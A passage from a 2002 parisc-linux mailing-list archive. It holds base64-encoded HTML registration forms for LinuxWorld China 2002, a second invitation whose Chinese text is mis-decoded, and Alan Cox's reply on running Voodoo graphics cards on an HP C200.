ufPW3cqhIj6589bdyqE8L29wdGlvbj4NCiAgICAgICAgICAgICAgICAgICAg
ICAgICAgPG9wdGlvbiB2YWx1ZT0i1MbEz8qhIj7UxsTPyqE8L29wdGlvbj4N
CiAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0izvey
2NfU1s7H+CI+zvey2NfU1s7H+Dwvb3B0aW9uPg0KICAgICAgICAgICAgICAg
ICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSLJws73yqEiPsnCzvfKoTwvb3B0
aW9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVl
PSK4ysvgyqEiPrjKy+DKoTwvb3B0aW9uPg0KICAgICAgICAgICAgICAgICAg
ICAgICAgICA8b3B0aW9uIHZhbHVlPSLH4LqjyqEiPsfguqPKoTwvb3B0aW9u
Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSLE
/s/Eu9jX5dfU1s7H+CI+xP7PxLvY1+XX1NbOx/g8L29wdGlvbj4NCiAgICAg
ICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0i1tjH7MrQIj7W
2MfsytA8L29wdGlvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgPG9w
dGlvbiB2YWx1ZT0iuv6xsSI+uv6xsTwvb3B0aW9uPg0KICAgICAgICAgICAg
ICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSLQwr2uIj7Qwr2uPC9vcHRp
b24+DQogICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9
IsyozeUiPsyozeU8L29wdGlvbj4NCiAgICAgICAgICAgICAgICAgICAgICAg
IDwvc2VsZWN0Pg0KICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+DQogICAg
ICAgICAgICAgICAgICAgIDwvdHI+DQogICAgICAgICAgICAgICAgICAgIDx0
cj4gDQogICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMjUiPiAN
CiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgYWxpZ249InJpZ2h0Ij61
57uwo7o8Zm9udCBjb2xvcj0iI0ZGMDAwMCI+KjwvZm9udD48L2Rpdj4NCiAg
ICAgICAgICAgICAgICAgICAgICA8L3RkPg0KICAgICAgICAgICAgICAgICAg
ICAgIDx0ZCB3aWR0aD0iMzQwIj4gDQogICAgICAgICAgICAgICAgICAgICAg
ICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0idGVsZXBob25lIiBtYXhsZW5n
dGg9IjIwIj4NCiAgICAgICAgICAgICAgICAgICAgICA8L3RkPg0KICAgICAg
ICAgICAgICAgICAgICA8L3RyPg0KICAgICAgICAgICAgICAgICAgICA8dHI+
IA0KICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTI1Ij4gDQog
ICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGFsaWduPSJyaWdodCI+tKvV
5qO6PGZvbnQgY29sb3I9IiNGRjAwMDAiPio8L2ZvbnQ+PC9kaXY+DQogICAg
ICAgICAgICAgICAgICAgICAgPC90ZD4NCiAgICAgICAgICAgICAgICAgICAg
ICA8dGQgd2lkdGg9IjM0MCI+IA0KICAgICAgICAgICAgICAgICAgICAgICAg
PGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImZheCIgbWF4bGVuZ3RoPSIyMCI+
DQogICAgICAgICAgICAgICAgICAgICAgPC90ZD4NCiAgICAgICAgICAgICAg
ICAgICAgPC90cj4NCiAgICAgICAgICAgICAgICAgICAgPHRyPiANCiAgICAg
ICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEyNSI+IA0KICAgICAgICAg
ICAgICAgICAgICAgICAgPGRpdiBhbGlnbj0icmlnaHQiPkVtYWlso7o8Zm9u
dCBjb2xvcj0iI0ZGMDAwMCI+KjwvZm9udD48L2Rpdj4NCiAgICAgICAgICAg
ICAgICAgICAgICA8L3RkPg0KICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3
aWR0aD0iMzQwIj4gDQogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQg
dHlwZT0idGV4dCIgbmFtZT0iZW1haWwiIG1heGxlbmd0aD0iMzAiPg0KICAg
ICAgICAgICAgICAgICAgICAgIDwvdGQ+DQogICAgICAgICAgICAgICAgICAg
IDwvdHI+DQogICAgICAgICAgICAgICAgICAgIDx0cj4gDQogICAgICAgICAg
ICAgICAgICAgICAgPHRkIHdpZHRoPSIxMjUiPiANCiAgICAgICAgICAgICAg
ICAgICAgICAgIDxkaXYgYWxpZ249InJpZ2h0Ij65q8u+19y+rcDto7o8Zm9u
dCBjb2xvcj0iI0ZGMDAwMCI+KjwvZm9udD48L2Rpdj4NCiAgICAgICAgICAg
ICAgICAgICAgICA8L3RkPg0KICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3
aWR0aD0iMzQwIj4gDQogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQg
dHlwZT0idGV4dCIgbmFtZT0iY29tX21hbmFnZXIiIG1heGxlbmd0aD0iMjAi
Pg0KICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+DQogICAgICAgICAgICAg
ICAgICAgIDwvdHI+DQogICAgICAgICAgICAgICAgICAgIDx0cj4gDQogICAg
ICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMjUiPiANCiAgICAgICAg
ICAgICAgICAgICAgICAgIDxkaXYgYWxpZ249InJpZ2h0Ij6yv8PFuLrU8MjL
o7o8Zm9udCBjb2xvcj0iI0ZGMDAwMCI+KjwvZm9udD48L2Rpdj4NCiAgICAg
ICAgICAgICAgICAgICAgICA8L3RkPg0KICAgICAgICAgICAgICAgICAgICAg
IDx0ZCB3aWR0aD0iMzQwIj4gDQogICAgICAgICAgICAgICAgICAgICAgICA8
aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZGVwX21hbmFnZXIiIG1heGxlbmd0
aD0iMjAiPg0KICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+DQogICAgICAg
ICAgICAgICAgICAgIDwvdHI+DQogICAgICAgICAgICAgICAgICAgIDx0cj4g
DQogICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMjUiPiZuYnNw
OzwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzNDAi
IGFsaWduPSJsZWZ0Ij4mbmJzcDs8L3RkPg0KICAgICAgICAgICAgICAgICAg
ICA8L3RyPg0KICAgICAgICAgICAgICAgICAgICA8dHI+IA0KICAgICAgICAg
ICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTI1IiBoZWlnaHQ9IjI3IiA+IA0K
ICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBhbGlnbj0icmlnaHQiPrmr
y77A4LHwOjxmb250IGNvbG9yPSIjRkYwMDAwIj4qPC9mb250PjwvZGl2Pg0K
ICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+DQogICAgICAgICAgICAgICAg
ICAgICAgPHRkIHdpZHRoPSIzNDAiIGFsaWduPSJsZWZ0IiBoZWlnaHQ9IjI3
IiA+IDxicj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBl
PSJyYWRpbyIgbmFtZT0iZHdsYiIgdmFsdWU9IkciIGNoZWNrZWQ+DQogICAg
ICAgICAgICAgICAgICAgICAgICC8xsvju/rA4CA8YnI+DQogICAgICAgICAg
ICAgICAgICAgICAgPC90ZD4NCiAgICAgICAgICAgICAgICAgICAgPC90cj4N
CiAgICAgICAgICAgICAgICAgICAgPHRyPiANCiAgICAgICAgICAgICAgICAg
ICAgICA8dGQgd2lkdGg9IjEyNSI+IA0KICAgICAgICAgICAgICAgICAgICAg
ICAgPGRpdiBhbGlnbj0icmlnaHQiPjwvZGl2Pg0KICAgICAgICAgICAgICAg
ICAgICAgIDwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRo
PSIzNDAiPiANCiAgICAgICAgICAgICAgICAgICAgICAgIDxzZWxlY3QgbmFt
ZT0iY29tX3R5cGUxIiBzaXplPSIxIj4NCiAgICAgICAgICAgICAgICAgICAg
ICAgICAgPG9wdGlvbj7H69Gh1PHSu8/uPC9vcHRpb24+DQogICAgICAgICAg
ICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9IrzGy+O7+rfWz/rJzCI+
ILzGy+O7+rfWz/rJzDwvb3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAg
ICAgICA8b3B0aW9uIHZhbHVlPSK0+sDtycwiPrT6wO3JzDwvb3B0aW9uPg0K
ICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSLB48rb
ycwiPsHjytvJzDwvb3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAgICAg
ICA8b3B0aW9uIHZhbHVlPSLU9ta1t9bP+snMIj7U9ta1t9bP+snMPC9vcHRp
b24+DQogICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9
IsX6t6LJzC+y1rSiyr3JzLOhIj7F+reiycwvsta0osq9ycyzoTwvb3B0aW9u
Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSK8
xsvju/ovweOyv7z+yfqy+snMIj68xsvju/ovweOyv7z+yfqy+snMPC9vcHRp
b24+DQogICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9
IsjtvP6/qreiycwvs/aw5snMIj7I7bz+v6q3osnML7P2sObJzDwvb3B0aW9u
Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSLP
tc2zvK+zycnML834wue8r7PJycwiPs+1zbO8r7PJycwvzfjC57yvs8nJzDwv
b3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZh
bHVlPSLTyrXnL82o0bYvzajQxSI+08q15y/NqNG2L82o0MU8L29wdGlvbj4N
CiAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0ivMbL
47v6ucvOyi/XydGvuavLviI+vMbL47v6ucvOyi/XydGvuavLvjwvb3B0aW9u
Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSJJ
U1AvSUNQIj5JU1AvSUNQPC9vcHRpb24+DQogICAgICAgICAgICAgICAgICAg
ICAgICAgIDxvcHRpb24gdmFsdWU9IrzGy+O7+sXg0bUvzqzQ3i+8vMr1tcjG
5Mv7vMbL47v6t/7O8SI+vMbL47v6xeDRtS/OrNDeL7y8yvW1yMbky/u8xsvj
u/q3/s7xPC9vcHRpb24+DQogICAgICAgICAgICAgICAgICAgICAgICAgIDxv
cHRpb24gdmFsdWU9Isbky/vP+srbycwiPsbky/vP+srbycw8L29wdGlvbj4N
CiAgICAgICAgICAgICAgICAgICAgICAgIDwvc2VsZWN0Pg0KICAgICAgICAg
ICAgICAgICAgICAgIDwvdGQ+DQogICAgICAgICAgICAgICAgICAgIDwvdHI+
DQogICAgICAgICAgICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICAgICAg
ICAgICAgPHRkIHdpZHRoPSIxMjUiIGhlaWdodD0iMzIiPiZuYnNwOzwvdGQ+
DQogICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzNDAiIGhlaWdo
dD0iMzIiPiANCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBl
PSJyYWRpbyIgbmFtZT0iZHdsYiIgdmFsdWU9Im9uIj4NCiAgICAgICAgICAg
ICAgICAgICAgICAgILfHvMbL47v6wOAgPC90ZD4NCiAgICAgICAgICAgICAg
ICAgICAgPC90cj4NCiAgICAgICAgICAgICAgICAgICAgPHRyPiANCiAgICAg
ICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEyNSI+IA0KICAgICAgICAg
ICAgICAgICAgICAgICAgPGRpdiBhbGlnbj0icmlnaHQiPjwvZGl2Pg0KICAg
ICAgICAgICAgICAgICAgICAgIDwvdGQ+DQogICAgICAgICAgICAgICAgICAg
ICAgPHRkIHdpZHRoPSIzNDAiPiANCiAgICAgICAgICAgICAgICAgICAgICAg
IDxzZWxlY3QgbmFtZT0iY29tX3R5cGUyIiBzaXplPSIxIj4NCiAgICAgICAg
ICAgICAgICAgICAgICAgICAgPG9wdGlvbj7H69Gh1PHSu8/uPC9vcHRpb24+
DQogICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9Ir3M
0/0vv8bR0C/Rp8r1L8Xg0bUiPr3M0/0vv8bR0C/Rp8r1L8Xg0bU8L29wdGlv
bj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0i
ur2/1S+6vczsL7q9uqMiPrq9v9Uvur3M7C+6vbqjPC9vcHRpb24+DQogICAg
ICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9Ir2o1v4vuaSz
zCI+vajW/i+5pLPMPC9vcHRpb24+DQogICAgICAgICAgICAgICAgICAgICAg
ICAgIDxvcHRpb24gdmFsdWU9Ir3wyNov0vjQ0LLGzvEiPiC98MjaL9L40NCy
xs7xPC9vcHRpb24+DQogICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRp
b24gdmFsdWU9Is2218ov1qTIry+3v7XYsvovsaPP1SI+zbbXyi/WpMivL7e/
tdiy+i+xo8/VPC9vcHRpb24+DQogICAgICAgICAgICAgICAgICAgICAgICAg
IDxvcHRpb24gdmFsdWU9Ir27zajUy8rkL7mrwrcvzPrCty+5q7myysLStSI+
vbvNqNTLyuQvuavCty/M+sK3L7mrubLKwtK1PC9vcHRpb24+DQogICAgICAg
ICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9Isn6svrWxtTsIj7J
+rL61sbU7Dwvb3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgICA8
b3B0aW9uIHZhbHVlPSK41sz6L8qv080vtefBpi+7r7mkL8uuwPsiPrjWzPov
yq/TzS+158GmL7uvuaQvy67A+zwvb3B0aW9uPg0KICAgICAgICAgICAgICAg
ICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSLJzNK1o6i0+sDtoaLF+reioaLB
48rbo6kvw7PS1yI+yczStaOotPrA7aGixfq3oqGiwePK26OpL8Oz0tc8L29w
dGlvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1
ZT0i1f64rrv6udgvyee74c3FzOUiPtX+uK67+rnYL8nnu+HNxczlPC9vcHRp
b24+DQogICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9
ItK9wcYvzsDJ+i/M5dP9Ij7SvcHGL87AyfovzOXT/Twvb3B0aW9uPg0KICAg
ICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSLFqcHWxL7T
5i+/89K1Ij7FqcHWxL7T5i+/89K1PC9vcHRpb24+DQogICAgICAgICAgICAg
ICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9IrP2sOYvueOypS+159OwtefK
0yI+s/aw5i+547KlL7Xn07C158rTPC9vcHRpb24+DQogICAgICAgICAgICAg
ICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9IrfHvMbL47v6ucvOyi/XydGv
L9DFz6K3/s7xIj63x7zGy+O7+rnLzsov18nRry/Qxc+it/7O8Twvb3B0aW9u
Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSK5
q7nYL7njuOYvzsS7r9LVyvUiPrmrudgvueO45i/OxLuv0tXK9Twvb3B0aW9u
Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSLC
w9POL7LN0vsvsfa53S/T6cDW0rUiPsLD084vss3S+y+x9rndL9PpwNbStTwv
b3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZh
bHVlPSK+/LbTL87kvq8vuauwsiI+vvy20y/O5L6vL7mrsLI8L29wdGlvbj4N
CiAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0ixuTL
+yI+xuTL+zwvb3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgPC9z
ZWxlY3Q+DQogICAgICAgICAgICAgICAgICAgICAgPC90ZD4NCiAgICAgICAg
ICAgICAgICAgICAgPC90cj4NCiAgICAgICAgICAgICAgICAgICAgPHRyPiAN
CiAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEyNSI+Jm5ic3A7
PC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjM0MCI+
Jm5ic3A7PC90ZD4NCiAgICAgICAgICAgICAgICAgICAgPC90cj4NCiAgICAg
ICAgICAgICAgICAgICAgPHRyPiANCiAgICAgICAgICAgICAgICAgICAgICA8
dGQgd2lkdGg9IjEyNSI+IA0KICAgICAgICAgICAgICAgICAgICAgICAgPGRp
diBhbGlnbj0icmlnaHQiPjwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAg
IDwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzNDAi
PiANCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPXN1Ym1p
dCB2YWx1ZT0i16IgsuEiIGlkPXN1Ym1pdDIgbmFtZT1yZWcyIHN0eWxlPSJi
YWNrZ3JvdW5kLWNvbG9yOiByZ2IoMjM4LDIzOCwyMzgpOyBjb2xvcjogcmdi
KDAsMCwwKTsgdGV4dC1hbGlnbjogY2VudGVyOyBib3JkZXI6IDFweCBkb3Vi
bGU7aGVpZ2h0OjE4cHgiIG9ubW91c2VvdmVyPSJ0aGlzLnN0eWxlLmNvbG9y
PScjMDg0MkIxJyIgb25tb3VzZW91dD0idGhpcy5zdHlsZS5jb2xvcj0nIzAw
MDAwMCciPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9
cmVTZXQgdmFsdWU9IsflILP9IiBpZD1yZVNldDIgbmFtZT1jbGVhcjIgc3R5
bGU9ImJhY2tncm91bmQtY29sb3I6IHJnYigyMzgsMjM4LDIzOCk7IGNvbG9y
OiByZ2IoMCwwLDApOyB0ZXh0LWFsaWduOiBjZW50ZXI7IGJvcmRlcjogMXB4
IGRvdWJsZTtoZWlnaHQ6MThweCIgb25tb3VzZW92ZXI9InRoaXMuc3R5bGUu
Y29sb3I9JyMwODQyQjEnIiBvbm1vdXNlb3V0PSJ0aGlzLnN0eWxlLmNvbG9y
PScjMDAwMDAwJyI+DQogICAgICAgICAgICAgICAgICAgICAgPC90ZD4NCiAg
ICAgICAgICAgICAgICAgICAgPC90cj4NCjwvdGFibGU+DQo8L0ZPUk0+DQoJ
PC90ZD4NCgk8L3RyPg0KCTx0cj4NCgk8dGQgYWxpZ249cmlnaHQ+DQo8aW1n
IHNyYz1odHRwOi8vYWQuaGVybWVzLmNvbS5jbi9saW51eHdvcmxkL2ltYWdl
cy9MaW51eDRjb2xvci5qcGcgd2lkdGg9MzQyIGhlaWdodD05NSBib3JkZXI9
MD4NCgk8L3RkPg0KCTwvdHI+DQo8L3RhYmxlPg0KDQoJPC90ZD4NCgk8L3Ry
Pg0KCTx0cj4NCgk8dGQgY29sc3Bhbj0yIGhlaWdodD00IGJnY29sb3I9IzAw
MDAwMD48L3RkPg0KCTwvdHI+DQo8L3RhYmxlPg0KDQoNCjwvYm9keT4NCjwv
aHRtbD4=

--= Multipart Boundary 0818021523--


From - Thu Nov 08 21:24:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Voodoo3 PCI on C200 experiment pending!
Date: 18 Aug 2002 11:22:16 +0100
Lines: 21
Approved: news@gmane.org
Message-ID: <1029666136.15858.3.camel@irongate.swansea.linux.org.uk>
References: <3D5E0430.2000407@charter.net>  
	<20020818044613.0969E4829@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621628 12427 80.91.229.3 (22 Nov 2014 02:00:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:28 +0000 (UTC)
Cc: "B. Douglas Hilton" <bdhilton@charter.net>,
	parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Aug 18 04:22:42 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from irongate.swansea.linux.org.uk (pc2-cwma1-5-cust12.swa.cable.ntl.com [80.5.121.12])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9D81A4843
	for <parisc-linux@lists.parisc-linux.org>; Sun, 18 Aug 2002 04:22:41 -0600 (MDT)
Original-Received: from irongate.swansea.linux.org.uk (localhost [127.0.0.1])
	by irongate.swansea.linux.org.uk (8.12.2/8.11.6) with ESMTP id g7IAMJu6015911;
	Sun, 18 Aug 2002 11:22:20 +0100
Original-Received: (from alan@localhost)
	by irongate.swansea.linux.org.uk (8.12.2/8.12.2/Submit) id g7IAMHvT015909;
	Sun, 18 Aug 2002 11:22:17 +0100
X-Authentication-Warning: irongate.swansea.linux.org.uk: alan set sender to alan@lxorguk.ukuu.org.uk using -f
In-Reply-To: <20020818044613.0969E4829@dsl2.external.hp.com>
X-Mailer: Ximian Evolution 1.0.3 (1.0.3-6) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15841

On Sun, 2002-08-18 at 05:46, Grant Grundler wrote:
> "B. Douglas Hilton" wrote:
> > Any hints or tips would be appreciated :-)
> 
> Search the mail archives.
> Once upon a time (2 years ago?), Alan Cox explained his ideas
> on how to make something like this work. He had an A180 in front
> of him at the time...

I really doubt you will get a Voodoo3 to work this way. XFree have lots
of problems with the Voodoo3 INT10 multihead even on x86 - the ROM seems
to do some quite tricky stuff.

On the other hand a Voodoo2 should work wonderfully because its got no
ROM, doesn't appear to be a video card and Glide2 has full source for
bringing the board up.

XFree86 also supports using it as a 2D device, but not currently (alas
8)) DRI and Xv also. 



From - Thu Nov 08 21:24:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "LINUX" <LINUX@LINUX.LINUX>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] LinuxWorld China 2002ֻ뺯ѣ
Date: Sun, 18 Aug 2002 23:10:18 +0800
Lines: 469
Approved: news@gmane.org
Message-ID: <20020818151049.71854482C@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="= Multipart Boundary 0818022310"
X-Trace: ger.gmane.org 1416621628 12430 80.91.229.3 (22 Nov 2014 02:00:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:28 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Aug 18 09:10:56 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from Liming Zhu (unknown [61.177.39.106])
	by dsl2.external.hp.com (Postfix) with SMTP id 71854482C
	for <parisc-linux@lists.parisc-linux.org>; Sun, 18 Aug 2002 09:10:49 -0600 (MDT)
X-Priority: 3
X-Mailer: JiXing mailer V1.73 Design By JohnnieHuang
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15842

This is a multipart MIME message.

--= Multipart Boundary 0818022310
Content-Type: text/plain; charset="GB2312"
Content-Transfer-Encoding: 7bit

      LinuxWorld China 2002ֻ뺯ѣ 


    LinuxWorld Chinaչޣ޹˾죬õżҵȨȫ֧֡

LinuxWorld ChinaּڴٽϢ̡רҵʿҵûLinuxӦá񼰹ĽӦгľ޴ǱƶLinuxϵͳLinuxƽ̨ĸӦĿԼڹ񾭼øڵĹ㷺ʹãƽҵϢ衣

ƣLinuxWorld China 2002

ʱ/ص㣺200293գ   йƵ
200295գ Ϻ  ʹ󶼴󷹵

⣺ ʵҵLinuxӦ

ʽ ֻ+Ʒչʾ

ֻ᣺ Ϊݽ۴ᡢרҵ󲿷֣ۼ50ೡ漰ɹѵȸ档

Ʒչʾ չʾҵµӲƷֱû̡רҵȽЧͨ

ѯ绰(010)83152644-127

򿪸еıдǽдϢȷϺ볡ȯڴ룡 

    >>Ϣĸе 

--= Multipart Boundary 0818022310
Content-Type: application/octet-stream;
	name=".htm"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename=".htm"

PGh0bWw+DQo8aGVhZD4NCjx0aXRsZT5MaW51eFdvcmxkIENoaW5hIDIwMDLR
0MzWu+HR+8fruq88L3RpdGxlPg0KPE1FVEEgSFRUUC1FUVVJVj1Db250ZW50
LVR5cGUgQ09OVEVOVD0idGV4dC9odG1sOyBjaGFyc2V0PWdiMjMxMiI+DQo8
U1RZTEUgVFlQRT0idGV4dC9jc3MiPg0KPCEtLQ0KDQpCT0RZew0KICAgIEZP
TlQtRkFNSUxZOiDLzszlOw0KICAgIEZPTlQtU0laRTogOXB0Ow0KICAgIENP
TE9SOiMwMDAwMDANCn0NCi5wdDkgeyBmb250LWZhbWlseTogIsvOzOUiOyBm
b250LXNpemU6IDlwdH0NCg0KUA0Kew0KICAgIEZPTlQtRkFNSUxZOiAiy87M
5SI7IEZPTlQtU0laRTogOXB0OyBDT0xPUjojMDAwMDAwDQp9DQpIOSxURCxT
RUxFQ1QNCnsNCiAgICBGT05ULUZBTUlMWTogIsvOzOUiOyBGT05ULVNJWkU6
IDlwdA0KfQ0KDQpBOmxpbmsgeyAgZm9udC1mYW1pbHk6ICLLzszlIjsgZm9u
dC1zaXplOiA5cHQ7IGNvbG9yOiAjMDg0MkIxOyB0ZXh0LWRlY29yYXRpb246
IG5vbmV9DQpBOnZpc2l0ZWQgeyAgZm9udC1mYW1pbHk6ICLLzszlIjsgZm9u
dC1zaXplOiA5cHQ7IGNvbG9yOiAjMDg0MkIxOyB0ZXh0LWRlY29yYXRpb246
IG5vbmU7IGZvbnQtY29sb3I9Ymx1ZX0NCkE6aG92ZXIgeyAgZm9udC1mYW1p
bHk6ICLLzszlIjsgZm9udC1zaXplOiA5UFQ7Y29sb3I6I0ZENEEwNDsgIHRl
eHQtZGVjb3JhdGlvbjogbm9uZX0NCg0KLS0+DQoNCjwvc3R5bGU+DQoNCjxT
Q1JJUFQgbGFuZ3VhZ2U9amF2YXNjcmlwdD4gIA0KDQpmdW5jdGlvbiBWZXJp
ZnlJbnB1dCgpICANCnsgIA0KIA0KICAgIHZhciBuZXdEYXRlT2JqID0gbmV3
IERhdGUoKSAgDQoNCiAgICBzdHJGaXJzdG5hbWUgPSBkb2N1bWVudC5mcm1V
c2VySW5mby5GaXJzdG5hbWUudmFsdWU7ICANCiAgICBpZiAoc3RyRmlyc3Ru
YW1lID09ICIiKSAgDQogICAgeyAgDQogICAgICAgIGFsZXJ0KCLH68rkyOvE
+rXE0NXD+yEgIik7ICANCiAgICAgICAgZG9jdW1lbnQuZnJtVXNlckluZm8u
Rmlyc3RuYW1lLmZvY3VzKCk7ICANCiAgICAgICAgcmV0dXJuIGZhbHNlOyAg
DQogICAgfSAgDQoJDQoJDQogCWlmIChkb2N1bWVudC5mcm1Vc2VySW5mby50
aXRsZS5zZWxlY3RlZEluZGV4ID09IDApDQoJCXsNCgkJYWxlcnQoIsfr0aHU
